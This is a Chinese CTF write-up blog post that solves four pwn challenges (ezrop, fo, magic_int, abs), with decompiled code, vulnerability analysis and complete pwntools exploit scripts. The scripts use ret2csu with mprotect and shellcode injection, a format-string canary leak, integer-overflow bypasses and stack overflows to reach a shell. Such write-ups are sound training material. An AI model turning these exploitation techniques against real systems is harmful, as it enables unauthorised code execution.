day1
ezrop
总结#
这题主要是通过栈溢出然后通过ret2csu传参mprotect函数改执行权限,再次溢出用read函数写入shellcode,再返回到写入shellcode地址的位置执行shell
- mprotect函数参数
- argu1 为mprotect函数的第一个参数 (被修改内存的地址) 设置为 0x0x80EB000 (vmmap得到)
- argu2 为mprotect函数的第二个参数 (被修改内存的大小) 设置为 0x1000 (0x0x80EB000-0x80ec000)
- argu3 为mprotect函数的第三个参数 (被修改内存的权限) 设置为 7 = 4 + 2 +1 (rwx)
参考利用mprotec函数修改内存的权限写入shellcode - FreeBuf网络安全行业门户
题目分析#
checksec#
[*] '/home/yang/桌面/day1/ezrop'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
函数分析#
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
vuln();
return 0;
}
vuln
ssize_t vuln()
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
return read(0, buf, 0x200uLL);
}
漏洞点#
vuln函数中的read函数
知识点#
- mprotect通过传入三个参数进行更改地址权限
- ret2csu进行传参,注意ret_csu的传参顺序
利用思路#
从ida列表中可以很明显发现有mprotect函数和read函数,因此我们初步判断可以使用这两个函数进行写入并执行shellcode,用ROPgadget发现并没有传入三个参数的地址,因此考虑使用csu进行传参
EXP#
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
proname = './ezrop'
io = process(proname)
#io = gdb.debug("./ezrop","break main")
elf = ELF(proname)
pop_addr = 0x00000000004006e3
pop_addr2 = 0x00000000004006e1
first_csu = 0x0000000004006D6
second_csu = 0x00000000004006C0
def ret_csu(r12, r13, r14, r15, last):
payload = 88 * b'b'
payload += p64(first_csu) + b'a' * 8
payload += p64(0) + p64(1)
payload += p64(r12)
payload += p64(r13) + p64(r14) + p64(r15)
payload += p64(second_csu)
payload += b'a' * 56
payload += p64(last)
return payload
mprotect = elf.got['mprotect']
read = elf.got['read']
main = elf.symbols['main']
p = ret_csu(mprotect,0x7,0x1000,0x600000,main)
p2 = ret_csu(read,0x100,0x600000,0,0x600000)
io.sendline(p)
io.sendline(p2)
io.sendline(asm(shellcraft.sh()))
io.interactive()
fo
总结#
在进入printf函数之后使用fmtarg进行计算偏移量
这题可以使用movaps了因为栈没对齐导致了程序出错,可以在ida中使用ALT+T找一个ret的地址进行栈对齐
CTFer成长日记12:栈对齐—获取shell前的临门一脚 - 知乎 (zhihu.com)
题目分析#
checksec#
[*] '/home/yang/桌面/day1/fo'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
函数分析#
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
speaking();
leak();
return 0;
}
leak
unsigned __int64 leak()
{
char s[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v2; // [rsp+58h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts(
"I heared that you are interested in the CTF.\n"
" I hope that you will hold on to keep your interest\n"
" tell me,will you?");
fgets(s, 80, stdin);
puts("I will remember what you said");
printf(s);
puts("wait for your good news...");
gets(s);
return __readfsqword(0x28u) ^ v2;
}
backdoor
int backdoor()
{
return system("cat flag;");
}
漏洞点#
- leak函数中printf函数格式化字符串溢出泄露canary
- leak函数中gets函数栈溢出到bd函数
知识点#
- 遇到movaps报错,栈对齐,在前面进行填充一个ret的地址即可
- s进入printf函数后计算偏移量
利用思路#
通过gdb调试的到偏移量然后进行泄露canary,再进行栈溢出到bd函数
EXP#
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
proname = './fo'
io = process(proname)
#io = gdb.debug("./fo","break main")
elf = ELF(proname)
backdoor = 0x000000000040080D
io.recv()
io.sendline(b'%17$p')
io.recvuntil(b'I will remember what you said\n')
canary = io.recvuntil(b'\n')[:-1]
canary = int(canary,16)
print (canary)
p = b'a'*88 +p64(canary)+b'a'*8+p64(0x0000000000400822)+p64(backdoor)
io.sendline(p)
io.interactive()
magic_int
总结#
这题一开始gets默认把换行符当作输入内容,所以我们要直接send一个数字,这个数字要小于零并且其负数也要小于零,这个数可以是最小负数,64位最小负数为-2147483648,然后条件语句if里输入的数要和一个字符串相同,重点根据c语言a=="aaa",比较的是地址,因此填入aaaa的地址数字即可
题目分析#
checksec#
[*] '/home/yang/桌面/day1/magic_int'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
函数分析#
main
__isoc99_scanf(&unk_400959, &v4);
if ( v4 < 0 )
{
v4 = -v4;
if ( v4 < 0 )
EDG();
}
EDG
__int64 EDG()
{
char v1[112]; // [rsp+0h] [rbp-70h] BYREF
puts(s);
return gets(v1);
}
ThatMan
int ThatMan()
{
int result; // eax
int v1; // [rsp+Ch] [rbp-4h] BYREF
puts(&byte_4008F8);
__isoc99_scanf(&unk_400959, &v1);
result = v1;
if ( (char *)v1 == "clearlove7" )
result = system("/bin/sh");
return result;
}
漏洞点#
- main函数中整数溢出
- EDG函数中栈溢出
- ThatMan函数中==漏洞
知识点#
- C语言中用==和字符串进行比较时比较的是地址
- 最小负数为-2147483648即0x80000000
- gets函数会默认把\n当作输入内容因此再send的时候不能使用sendline
利用思路#
首先通过输入最小负数绕过前面的限制进入EDG函数,然后用gets栈溢出到ThatMan函数中然后再输入字符串的地址即可成功利用
EXP#
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
proname = './magic_int'
io = process(proname)
#io = gdb.debug(proname,"break main")
ret = 0x0000000000400831
io.send("-2147483648".encode())
payload = b'a'*(0x70+8)+p64(ret)+p64(0x40074c)
io.sendline(payload)
io.sendline(str(4196700).encode())
io.interactive()
abs
总结#
- 要善用ida改参数名字以方便观看逻辑
- rand%1结果始终为0
- 栈对齐可以通过返回地址+1少pop一个ebp来平衡
题目分析#
checksec#
[*] '/home/yang/桌面/day1/abs'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
函数分析#
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
unsigned int v5; // [rsp+Ch] [rbp-84h] BYREF
char s[92]; // [rsp+10h] [rbp-80h] BYREF
int v7; // [rsp+6Ch] [rbp-24h] BYREF
time_t timer; // [rsp+70h] [rbp-20h] BYREF
__int64 v9; // [rsp+78h] [rbp-18h]
unsigned int v10; // [rsp+80h] [rbp-10h]
int v11; // [rsp+84h] [rbp-Ch]
unsigned int v12; // [rsp+88h] [rbp-8h]
unsigned int v13; // [rsp+8Ch] [rbp-4h]
init(argc, argv, envp);
v3 = time(&timer);
srand(v3);
memset(s, 0, 0x50uLL);
puts("What's your name?");
v11 = read(0, s, 0x50uLL);
puts("Tell me your a g e:");
fflush(stdout);
__isoc99_scanf("%d", &v7);
puts("What's your lucky number?");
__isoc99_scanf("%d", &v5);
v10 = abs32(v5);
v9 = (int)(v10 + v11);
v12 = 1;
if ( v9 >= 0 )
{
s[10] = 0;
printf("Hi,%s And see you next time!\n", s);
v12 = 0;
}
puts("Recording...");
if ( v12 )
v13 = rand() % (((int)abs32(v5 + v7) >> v7) + 1);
else
v13 = rand() % 10000;
record(s, v5, v13, v12);
return 0;
}
record
void *__fastcall record(const char *a1, unsigned int a2, unsigned int a3, int a4)
{
size_t v4; // rax
void *result; // rax
char dest[16]; // [rsp+20h] [rbp-10h] BYREF
printf("\n name: %s \n lucky number: %d \n tag: %d\n DOWN!\n", a1, a2, a3);
v4 = strlen(a1);
if ( a4 )
result = memcpy(&dest[a3], a1, v4);
else
result = memcpy(dest, a1, v4);
return result;
}
present
int present()
{
return system("/bin/sh");
}
漏洞点#
main函数中的abs函数整数溢出
record函数中的memcpy函数栈溢出
知识点#
- abs函数传入0x80000000即2147483648最终会得到一个负数
- 栈对齐不仅可以使用ret来填充栈,也可以将后门函数的地址+1,目的是将pop ebp舍去,可能会导致bd函数崩溃,但我们需要的是bd函数中的sysetm函数只需要call system就可以
利用思路#
输入age和luckynum为了使v9<0,我们需要传入0x80000000,我们还需要让随机数为一个固定的小数,所以luckynum同样传入0x80000000,这样随机数即为0(rand%1),在record中将name复制给了dest因此name输入payload进行栈溢出
EXP#
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
proname = './abs'
io = process(proname)
#io = gdb.debug(proname,"break record")
elf = ELF(proname)
io.recv()
p = cyclic(24)+p64(0x00000000004009D8)
io.sendline(p)
io.recv()
io.sendline(str(2147483648))
io.recv()
io.sendline(str(2147483648))
io.recv()
io.interactive()
作者:Esofar
出处:https://www.cnblogs.com/amof/p/17602536.html
版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?